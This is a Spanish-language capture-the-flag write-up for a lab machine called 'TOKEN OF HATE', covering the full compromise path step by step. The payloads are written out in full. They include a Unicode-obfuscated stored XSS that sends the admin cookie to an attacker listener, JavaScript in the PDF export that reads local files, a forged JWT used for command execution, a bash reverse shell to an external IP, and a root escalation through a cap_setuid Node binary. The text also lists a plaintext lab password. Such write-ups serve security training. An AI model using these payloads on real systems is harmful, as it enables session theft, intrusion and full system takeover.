Resolución del CTF TOKEN OF HATE
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.115- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos los servicios expuestos: SSH (22/tcp) y HTTP (80/tcp) sobre un sistema Debian.
Explotación
XSS almacenado mediante Unicode
La aplicación transforma internamente los nombres de usuario Unicode a su equivalente ASCII. Aprovechamos esta conversión para inyectar código JavaScript persistente usando caracteres Unicode visualmente equivalentes.
<script>fetch("http://192.168.0.1:5454/c?="+document.cookie)</script>Transformamos el payload reemplazando caracteres críticos por sus equivalentes Unicode antes del registro.
sed -e 's/>/﹥/g;s/</</g;s/(/⁽/g;s/)/⁾/g;s/=/⁼/g;s/"/"/g;s/'"'"'/'/g' payload > payload_unicodeRegistramos el usuario con el payload transformado y levantamos un servidor HTTP para capturar la cookie del administrador cuando visualiza el registro.
python3 -m http.server 5454Secuestro de sesión
Recibimos la cookie de sesión del administrador y la reutilizamos en el navegador para acceder al panel con privilegios elevados.
LFI / SSRF a través de generación de PDF
La funcionalidad de exportación a PDF utiliza contenido HTML controlable. Inyectamos JavaScript para realizar peticiones internas y leer recursos locales.
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>Confirmamos la lectura de archivos locales y enumeramos servicios internos mediante SSRF, identificando una API en el puerto 3000.
API interna y JWT
La API expone un endpoint de autenticación que devuelve un JWT y otro para ejecución de comandos restringido al rol admin. Obtenemos credenciales válidas y solicitamos un token.
curl -s -X POST http://127.0.0.1:3000/login -H 'Content-Type: application/json' -d '{"username":"Jose","password":"FuLqqEAErWQsmTQQQhsb"}'El JWT no valida correctamente la firma. Modificamos el campo role a admin y reutilizamos el token para ejecutar comandos.
curl -s -X POST http://127.0.0.1:3000/command -H 'Content-Type: application/json' -d '{"command":"id","token":"JWT_MODIFICADO"}'Obtención de shell
Ejecutamos un reverse shell a través del endpoint vulnerable.
curl -s -X POST http://127.0.0.1:3000/command -H 'Content-Type: application/json' -d '{"command":"bash -c \"bash -i >& /dev/tcp/192.168.0.1/443 0>&1\"","token":"JWT_MODIFICADO"}'Escalada de privilegios
Enumeramos capabilities y detectamos un binario con cap_setuid asignado.
getcap -r / 2>/dev/nullEl binario /usr/bin/yournode corresponde a Node.js y permite cambiar el UID efectivo.
/usr/bin/yournode -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'Obtenemos una shell con privilegios de root.
